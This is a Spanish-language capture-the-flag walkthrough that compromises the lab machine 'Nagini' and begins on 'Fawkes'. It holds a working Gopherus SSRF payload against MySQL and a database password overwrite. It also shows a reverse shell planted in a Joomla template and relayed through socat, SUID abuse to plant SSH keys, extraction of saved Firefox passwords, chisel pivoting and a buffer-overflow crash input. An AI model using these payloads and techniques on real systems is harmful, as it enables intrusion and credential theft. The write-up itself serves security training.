    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://10.10.0.129/joomla ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.9.25

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://10.10.0.129/joomla/administrator/components
http://10.10.0.129/joomla/administrator/modules
http://10.10.0.129/joomla/administrator/templates
http://10.10.0.129/joomla/tmp
http://10.10.0.129/joomla/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://10.10.0.129/joomla/administrator/

[+] Checking robots.txt existing
[++] robots.txt is found
path : http://10.10.0.129/joomla/robots.txt 

Interesting path found from robots.txt
http://10.10.0.129/joomla/joomla/administrator/
http://10.10.0.129/joomla/administrator/
http://10.10.0.129/joomla/bin/
http://10.10.0.129/joomla/cache/
http://10.10.0.129/joomla/cli/
http://10.10.0.129/joomla/components/
http://10.10.0.129/joomla/includes/
http://10.10.0.129/joomla/installation/
http://10.10.0.129/joomla/language/
http://10.10.0.129/joomla/layouts/
http://10.10.0.129/joomla/libraries/
http://10.10.0.129/joomla/logs/
http://10.10.0.129/joomla/modules/
http://10.10.0.129/joomla/plugins/
http://10.10.0.129/joomla/tmp/


[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config file is found 
 config file path : http://10.10.0.129/joomla/configuration.php.bak



Your Report : reports/10.10.0.129/

Vemos cosas interesantes. El panel de administrador está expuesto y localizamos un configuration.php.bak. Con wget y utilizando proxychains lo descargaremos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
❯ cat configuration.php.bak
<?php
class JConfig {
	public $offline = '0';
	public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
	public $display_offline_message = '1';
	public $offline_image = '';
	public $sitename = 'Joomla CMS';
	public $editor = 'tinymce';
	public $captcha = '0';
	public $list_limit = '20';
	public $access = '1';
	public $debug = '0';
	public $debug_lang = '0';
	public $debug_lang_const = '1';
	public $dbtype = 'mysqli';
	public $host = 'localhost';
	public $user = 'goblin';
	public $password = '';
	public $db = 'joomla';
	public $dbprefix = 'joomla_';
	public $live_site = '';
	public $secret = 'ILhwP6HTYKcN7qMh';
	public $gzip = '0';
	public $error_reporting = 'default';
	public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
	public $ftp_host = '';
	public $ftp_port = '';
	public $ftp_user = '';
	public $ftp_pass = '';
	public $ftp_root = '';
	public $ftp_enable = '0';
	public $offset = 'UTC';
	public $mailonline = '1';
	public $mailer = 'mail';
	public $mailfrom = 'site_admin@nagini.hogwarts';
	public $fromname = 'Joomla CMS';
	public $sendmail = '/usr/sbin/sendmail';
	public $smtpauth = '0';
	public $smtpuser = '';
	public $smtppass = '';
	public $smtphost = 'localhost';
	public $smtpsecure = 'none';
	public $smtpport = '25';
	public $caching = '0';
	public $cache_handler = 'file';
	public $cachetime = '15';
	public $cache_platformprefix = '0';
	public $MetaDesc = '';
	public $MetaKeys = '';
	public $MetaTitle = '1';
	public $MetaAuthor = '1';
	public $MetaVersion = '0';
	public $robots = '';
	public $sef = '1';
	public $sef_rewrite = '0';
	public $sef_suffix = '0';
	public $unicodeslugs = '0';
	public $feed_limit = '10';
	public $feed_email = 'none';
	public $log_path = '/var/www/html/joomla/administrator/logs';
	public $tmp_path = '/var/www/html/joomla/tmp';
	public $lifetime = '15';
	public $session_handler = 'database';
	public $shared_session = '0';
}

Examinando el archivo .bak encontramos unas credenciales para una base de datos

1
2
3
4
public $host = 'localhost';
public $user = 'goblin';
public $password = '';
public $db = 'joomla';

Utilizaremos la herramienta Gopherus que se aprovecha de sitios vulnerables a SSRF. Esta herramienta sólo es válida cuando cuando no está protegido por contraseña que es nuestro caso. Ejecutamos herramienta pasándole el parámetro --exploit mysql y proporcionamos usuario y query a ejecutar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ gopherus --exploit mysql


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

		author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: goblin
Give query to execute: show databases;

Your gopher link is ready to do SSRF : 

gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01

-----------Made-by-SpyD3r-----------

El payload generado lo copiamos en la web vulnerable a SSRF que encontramos anteriormente, ejecutamos y refrescamos la página hasta que nos muestre la información deseada

Encontramos una base de datos llamada joomla. Seguiremos enumerando tablas con la query USE joomla; show tables;

En este punto nos interesa la tabla joomla_users, vamos a enumerar las columnas de la tala con la query USE joomla; describe joomla_users;

Buscaremos algún usuario y contraseña con la query USE joomla; select username,password from joomla_users;

Encontramos el usuario site_admin y su contraseña hasheada, si intentamos crackear la contraseña con john no vamos a poder. Si tenemos privilegios podemos cambiar la contraseña del usuario site_admin. Aplicamos md5 para hashear la password que queramos actualizar y en la herramienta Gopherus aplicamos esta query USE joomla; update joomla_users set password='482c811da5d5b4bc6d497ffa98491e38' where username='site_admin'; probamos a ver si tenemos capacidad de alterar la password

1
2
echo -n "password123" | md5sum
482c811da5d5b4bc6d497ffa98491e38  -

Con la contraseña cambiada nos dirigimos al panel de administrador en /joomla/administrator y accedemos con la contraseña que acabamos de cambiar

Una vez hemos ganado acceso al panel de administración de Joomla nos dirigimos a Extensions -> Templates -> Templates -> Protostar Details and Files y editamos la plantilla error.php e insertamos código para entablar reverse shell con la máquina atacante. Hay que mencionar que como no tenemos conexión directa con nuestra máquina debemos enviar la reverse shell al nodo más cercano, en este caso es la máquina Aragog (10.10.0.128) y con la herramienta socat redirigimos el tráfico a nuestra máquina atacante puesto que desde la máquina Aragog si tenemos conectividad con nuestra máquina atacante

1
root@Aragog:~# socat TCP-LISTEN:443,fork TCP:192.168.1.84:443

Nos ponemos en escucha con netcat en el puerto 443 y acontecemos un error en el CMS joomla para que nos cargue el error.php y así ejecutar nuestro payload

1
2
3
4
5
6
7
8
9
10
11
12
❯ nc -lnvp 443
listening on [any] 443 ...
www-data@Nagini:/var/www/html/joomla$ whoami
whoami
www-data
www-data@Nagini:/var/www/html/joomla$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Nagini:/var/www/html/joomla$ hostname -I
hostname -I
192.168.100.129 10.10.0.129 
www-data@Nagini:/var/www/html/joomla$ 

Comprobamos que estamos dentro de la máquina Nagini y vemos que existe otro segmento de red con IP 192.168.100.129. Dentro de la ruta /var/www/html encontramos el siguiente horcrux

1
2
3
4
5
6
7
www-data@Nagini:/var/www/html$ ls
harry_potter_2.jpg  horcrux1.txt  index.html  index.nginx-debian.html  internalResourceFeTcher.php  joomla  note.txt
www-data@Nagini:/var/www/html$ cat horcrux1.txt 
horcrux_{MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O}
www-data@Nagini:/var/www/html$ echo MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O | base64 -d; echo
3: SlythEriN's LocKEet dEstroYeD bY RoN
www-data@Nagini:/var/www/html$ 

Movimiento Lateral I


Dentro del directorio home vemos las carpetas personales de los usuarios snape y hermoine. Accedemos al directorio de snape y vemos un archivo .creds.txt, al ver su contenido y vemos una cadena en base64, la decodeamos y obtenemos las credenciales de snape. Migramos de usuario

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@Nagini:/home/snape$ ls -la
total 32
drwxr-xr-x 4 snape snape 4096 Apr  4  2021 .
drwxr-xr-x 4 root  root  4096 Apr  4  2021 ..
-rw-r--r-- 1 snape snape  220 Apr  3  2021 .bash_logout
-rw-r--r-- 1 snape snape 3526 Apr  3  2021 .bashrc
-rw-r--r-- 1 snape snape   17 Apr  4  2021 .creds.txt
drwx------ 3 snape snape 4096 Apr  4  2021 .gnupg
-rw-r--r-- 1 snape snape  807 Apr  3  2021 .profile
drwx------ 2 snape snape 4096 Apr  4  2021 .ssh
www-data@Nagini:/home/snape$ cat .creds.txt 
TG92ZUBsaWxseQ==
www-data@Nagini:/home/snape$ echo "TG92ZUBsaWxseQ==" | base64 -d; echo
Love@lilly
www-data@Nagini:/home/snape$ su snape
Password: Love@lilly
snape@Nagini:~$ id
uid=1000(snape) gid=1000(snape) groups=1000(snape)
snape@Nagini:~$ 

Movimiento Lateral II


Accedemos al directorio personal de hermoine y vmeos una carpeta bin. Dentro de la carpeta hay un binario su_cp con privilegios SUID. El binario parece ser una copia de cp

```snape@Nagini:/home/hermoine/bin$ ls -l total 144 -rwsr-xr-x 1 hermoine hermoine 146880 Apr 4 2021 su_cp snape@Nagini:/home/hermoine/bin$ ./su_cp ./su_cp: missing file operand Try ‘./su_cp –help’ for more information. snape@Nagini:/home/hermoine/bin$

1
2
3
4
5
6
7
Nos copiamos el contenido de la `id_rsa.pub` que generamos anteriormente en un archivo en el directorio `/tmp`, con el binario `su_cp` copiamos el archivo al directorio `.ssh` del usuario `hermoine`, en el archivo `authorized_keys`

```shell
snape@Nagini:/home/hermoine/bin$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGPezoNn5B8yM4Sn9t4MNN6jD32f6Y+bH9hC8qXTAvNUi1kuEptUGkGPlKssQeQXBsqxHgd4jn4JWHKddXrkbx4DNLuQqVDL57b6CiHpS+RHju93KomD6OF52Xw9hunjfOj707OlCpUscKkqPVbEXeUeQZk2lnGFElWre/o7bMxvMYaKt+4I0ExG9GG5CCXU+euJlikvfJQBfjSkC8rK+Mb3aHQnbO6uSGUP2UZ0OIi9fqrUvp+OInFORXxLtO9QwB4cbRAnDkAxAA1E6ekEiO9yKzA0Ug6fo+tIsqxWfAqZYee9840Qc3C7sE33ngzkEyr4odvVTnfhb5+7ix9MxRvpvWG3QckWFIUNhZVZn+F+qlJJKIFVt3ogQJYtx1IYOQWHofYXXepD6aWG21PX9/yF52tGt2YiPPKEVWrV4v8XxzTn7lr9gPKmH7kP1K2O/NPX/Zt0T9WtDvLkbbgy0+yyNh6IEjBhjjm8+0ZpPmmOLVP48xao1TPdHIix/5aT8= root@hacker" > /tmp/authorized_keys
snape@Nagini:/home/hermoine/bin$ ./su_cp /tmp/authorized_keys /home/hermoine/.ssh/authorized_keys
snape@Nagini:/home/hermoine/bin$ 

Nos conectamos por ssh a través de proxychains sin proporcionar una contraseña con el usuario hermoine

1
2
3
4
5
6
7
8
 proxychains -q ssh hermoine@10.10.0.129
hermoine@Nagini:~$ id
uid=1002(hermoine) gid=1002(hermoine) groups=1002(hermoine)
hermoine@Nagini:~$ cat horcrux2.txt 
horcrux_{NDogSGVsZ2EgSHVmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=}
hermoine@Nagini:~$ echo "NDogSGVsZ2EgSHVmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=" | base64 -d; echo
4: Helga Hufflepuff's Cup destroyed by Hermione
hermoine@Nagini:~$ 

Escalada de Privilegios


Listamos el contenido del directorio personal de hermoine y vemos un directorio oculto .mozilla. Accedemos a /.mozilla/firefox y vemos un directorio g2mhbq0o.default que corresponde a un perfil. Dentro de este directorio vemos el archivo key4.db y logins.json que con la herramienta firepwd podemos extraer credenciales almacenadas en texto claro

Para transferirnos los archivos tendremos que hacer uso de la herramienta socat en la máquina Aragog para redirigir el tráfico a nuestro equipo

Ahora que tenemos los dos archivos en nuestra máquina atacante podemos desencriptarlos usando firepwd, ejecutamos y conseguimos credenciales del usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ python3 firepwd.py
globalSalt: b'db8e223cef34f55b9458f52286120b8fb5293c95'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
     SEQUENCE {
       OCTETSTRING b'0bce4aaf96a7014248b28512e528c9e9a75c30f2'
       INTEGER b'01'
     }
   }
   OCTETSTRING b'2065c62fe9dc4d8352677299cc0f2cb8'
 }
entrySalt: b'0bce4aaf96a7014248b28512e528c9e9a75c30f2'
b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
     SEQUENCE {
       OCTETSTRING b'11c73a5fe855de5d96e9a06a8503019d00efa9e4'
       INTEGER b'01'
     }
   }
   OCTETSTRING b'ceedd70a1cfd8295250bcfed5ff49b6c878276b968230619a2c6c51aa4ea5c8e'
 }
entrySalt: b'11c73a5fe855de5d96e9a06a8503019d00efa9e4'
b'233bb64646075d9dfe8c464f94f4df235234d94f4c2334940808080808080808'
decrypting login/password pairs
http://nagini.hogwarts:b'root',b'@Alohomora#123'

Con la contraseña obtenida migramos al usuario root y conseguimos el último horcrux de la máquina

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@Nagini:~# id 
uid=0(root) gid=0(root) groups=0(root)
root@Nagini:~# hostname -I
192.168.100.129 10.10.0.129 
root@Nagini:~# cat horcrux3.txt 
  ____                            _         _       _   _                 
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___ 
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                   


Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Medium
Machine Name: Nagini
Horcruxes Hidden in this VM: 3 horcruxes

You have successfully pwned Nagini machine.
Here is your third hocrux: horcrux_{NTogRGlhZGVtIG9mIFJhdmVuY2xhdyBkZXN0cm95ZWQgYnkgSGFycnk=}




# For any queries/suggestions feel free to ping me at email: time4ster@protonmail.com

root@Nagini:~# echo "NTogRGlhZGVtIG9mIFJhdmVuY2xhdyBkZXN0cm95ZWQgYnkgSGFycnk=" | base64 -d; echo
5: Diadem of Ravenclaw destroyed by Harry
root@Nagini:~# 

Para ganar persistencia copiaremos nuestra clave pública a un archivo authorized_keys en la carpeta .ssh de root

Hemos completado la máquina Nagini! Ahora a por la siguiente

Fawkes

Reconocimiento


Técnicas vistas (Fawkes):

  • EXTRA: Running chisel as a client from the Nagini machine to reach the Fawkes machine
  • EXTRA: Creating a new socks5 connection through a new port
  • EXTRA: FTP connection in passive mode when going through proxychains
  • Binary Enumeration - Buffer Overflow (x32) Stack Based
  • EXTRA: Execution of the Buffer Overflow sending the reverse shell through 2 machines until it reaches us
  • Abusing Sudoers Privilege in a container
  • Intercepting the traffic with tcpdump - Discovering credentials in FTP authentication
  • SSH Credential Reuse - Escaping the Container
  • Abusing sudo 1.8.27 version (CVE-2021-3156) [Privilege Escalation]

Iniciamos el reconocimiento de la máquina Fawkes. Necesitaremos saber su IP y los puertos abiertos que tiene, para ello, nos montaremos un script en bash que lanzará una traza IP por el segmento 192.168.100.0/24

1
2
3
root@Nagini:~# hostname -I
192.168.100.129 10.10.0.129 
root@Nagini:~# 

El script quedaría algo así

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

function ctrl_c(){
    echo -e "\n\n[!] Saliendo...\n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for i in $(seq 1 254); do
    timeout 1 bash -c "ping -c 1 192.168.100.$i" &>/dev/null && echo "[+] HOST - 192.168.100.$i - ACTIVO" &
done; wait
tput cnorm

Ejecutamos el script, y encontramos 2 hosts aparte del nuestro! Vamos a investigar mejor cual es cada uno…

1
2
3
4
5
6
7
8
root@Nagini:~# ping -c 1 192.168.100.128 
PING 192.168.100.128 (192.168.100.128) 56(84) bytes of data.
64 bytes from 192.168.100.128: icmp_seq=1 ttl=128 time=0.270 ms

--- 192.168.100.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.270/0.270/0.270/0.000 ms
root@Nagini:~#
1
2
3
4
5
6
7
8
root@Nagini:~# ping -c 1 192.168.100.130
PING 192.168.100.130 (192.168.100.130) 56(84) bytes of data.
64 bytes from 192.168.100.130: icmp_seq=1 ttl=64 time=0.247 ms

--- 192.168.100.130 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.247/0.247/0.247/0.000 ms
root@Nagini:~# 

En base al TTL (time to live), nos percatamos que la IP 192.168.100.128 es una máquina Windows (Dumbledore) y la máquina 192.168.100.130 es una máquina Linux (Fawkes), vamos a por la Fawkes

Procederemos a enumerar los puertos abiertos mediante otro script en bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

function ctrl_c(){
    echo -e "\n\n[!] Saliendo...\n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for port in $(seq 1 65535); do
    timeout 1 bash -c "echo '' > /dev/tcp/192.168.100.130/$port" &>/dev/null && echo "[+] Puerto $port - ABIERTO" &
done; wait
tput cnorm

Ejecutamos el script y detectamos 4 puertos abiertos, el puerto 21, 22, 80, 2222 y 9898

1
2
3
4
5
6
7
root@Nagini:~# ./portScan.sh 
[+] Puerto 21 - ABIERTO
[+] Puerto 22 - ABIERTO
[+] Puerto 80 - ABIERTO
[+] Puerto 2222 - ABIERTO
[+] Puerto 9898 - ABIERTO
root@Nagini:~#

Ahora crearemos un túnel por el cual nos vamos a poder acceder a la máquina Fawkes para trabajar más comodamente. Para esto usaremos la herramienta chisel la cual deberemos de subir a la máquina Nagini que es la que está en el mismo segmento que la Aragog en donde nos podemos comunicar, podemos usar la herramienta socat, pero es más comodo usar scp pasando por proxychains

1
2
❯ proxychains -q scp chisel root@10.10.0.129:/usr/bin/chisel
chisel                                     100% 8188KB  34.1MB/s   00:00 

Ya que tenemos el chisel en la máquina Nagini, usaremos socat para redirigir el flujo del chisel de la Nagini hacía nuestro servidor central.

1
2
3
4
5
# Nagini
root@Nagini:~# chisel client 10.10.0.128:9999 R:9999:socks

# Aragog
root@Aragog:~# socat TCP-LISTEN:9999,fork TCP:192.168.1.84:1234

Tenemos que editar el archivo de configuración de proxychains (/etc/proxychains.conf o /etc/proxychains4.conf), comentamos la linea strict_chain y descomentamos dynamic_chain, además añadiremos el túnel con el puerto 9999

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat /etc/proxychains4.conf
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: /etc/proxychains.conf
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # proxychains.conf  VER 4
.
.
.
dynamic_chain
.
#strict_chain
.
.
socks5 127.0.0.1 9999
socks5 127.0.0.1 1080

Para tener alcance a esta máquina por el navegador añadiremos el proxy en FoxyProxy agregando el tunel

Accediendo por el navegador a la IP de la máquina Fawkes ya tenemos alcance

Seguimos realizando un escaneo de puertos con nmap para confirmar los puertos encontrados anteriormente con el script en bash, usaremos un secuenciador para hacer el escaneo más rapido

1
2
3
4
5
6
seq 1 65535 | xargs -P 500 -I {} proxychains nmap -sT -Pn -p{} -open -T5 -v -n 192.168.100.130 2>&1 | grep "tcp open"
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
2222/tcp open  EtherNetIP-1
9898/tcp open  monkeycom

Reconocimiento FTP


Iniciamos el reconocimiento del puerto 21. Tratamos de conectarnos de forma anónima al servicio. Nos lo permite pero si tratamos de ejecutar algún comando nos indica un error. Esto es debido a que como estamos trabajando por túneles puede generar conflictos. Para solucionarlo debemos ejecutar el comando passive para entrar en modo pasivo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ proxychains -q ftp 192.168.100.130
Connected to 192.168.100.130.
220 (vsFTPd 3.0.3)
Name (192.168.100.130:l4nder): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||30008|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0          705996 Apr 12  2021 server_hogwarts
^C
receive aborted. Waiting for remote to finish abort.
226 Directory send OK.
500 Unknown command.
73 bytes received in 00:02 (0.02 KiB/s)
ftp> get server_hogwarts
local: server_hogwarts remote: server_hogwarts
 229 Entering Extended Passive Mode (|||51264|)
150 Opening BINARY mode data connection for server_hogwarts (705996 bytes).
100% |*******************************************************************************************************************************************|   689 KiB   15.66 KiB/s  - stalled -^C
receive aborted. Waiting for remote to finish abort.
226 Transfer complete.
500 Unknown command.
705996 bytes received in 00:44 (15.52 KiB/s)
ftp> 

Encontramos un archivo server_hogwarts. Entramos en modo binario por si se tratara de un archivo binario y nos lo traemos a nuestro equipo para examinarlo detalladamente

Se trata de un binario de 32 bits compilado. Lo ejecutamos y aparentemente no hace nada. Con la ayuda de strace podemos ver que acciones está realizando el binario y parece que está levantando un servidor en el puerto 9898

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ file server_hogwarts
server_hogwarts: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=1d09ce1a9929b282f26770218b8d247716869bd0, for GNU/Linux 3.2.0, not stripped
❯ strace ./server_hogwarts
execve("./server_hogwarts", ["./server_hogwarts"], 0x7ffc855eb4a0 /* 36 vars */) = 0
[ Process PID=287640 runs in 32 bit mode. ]
brk(NULL)                               = 0x8951000
brk(0x89517c0)                          = 0x89517c0
set_thread_area({entry_number=-1, base_addr=0x89512c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
uname({sysname="Linux", nodename="hacker", ...}) = 0
readlink("/proc/self/exe", "/home/l4nder/Escritorio/Vulnhub/"..., 4096) = 79
brk(0x89727c0)                          = 0x89727c0
brk(0x8973000)                          = 0x8973000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No existe el fichero o el directorio)
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEPORT, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(9898), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 3)                            = 0
accept(3, 

Ejecutamos la aplicación y con netcat nos coenctamos a nuestro localhost por el puerto 9898

1
2
3
4
5
6
7
8
9
10
11
12
 nc localhost 9898
Welcome to Hogwart's magic portal
Tell your spell and ELDER WAND will perform the magic

Here is list of some common spells:
1. Wingardium Leviosa
2. Lumos
3. Expelliarmus
4. Alohomora
5. Avada Kedavra 

Enter your spell:   	

Recordemos que la máquina Fawkes también tiene el puerto 9898 abierto, lo que nos da a entender que el binario encontrado está funcionando en ese puerto de la máquina victima. Obtenemos el mismo resultado

1
2
3
4
5
6
7
8
9
10
11
12
❯ proxychains -q nc 192.168.100.130 9898
Welcome to Hogwart magic portal
Tell your spell and ELDER WAND will perform the magic

Here is list of some common spells:
1. Wingardium Leviosa
2. Lumos
3. Expelliarmus
4. Alohomora
5. Avada Kedavra 

Enter your spell: 

Suponiendo que a nivel de input tiene asignado un búffer de tamaño determinado y no está sanitizado, podemos tratar de introducir un input mayor que el tamaño esperado y observar si el binario se corrompe lo que nos lleva a pensar en un Buffer Overflwo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Server
❯ ./server_hogwarts
zsh: segmentation fault  ./server_hogwarts

# Cliente
❯ nc localhost 9898
Welcome to Hogwart s magic portal
Tell your spell and ELDER WAND will perform the magic

Here is list of some common spells:
1. Wingardium Leviosa
2. Lumos
3. Expelliarmus
4. Alohomora
5. Avada Kedavra 

Enter your spell: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Buffer Overflow


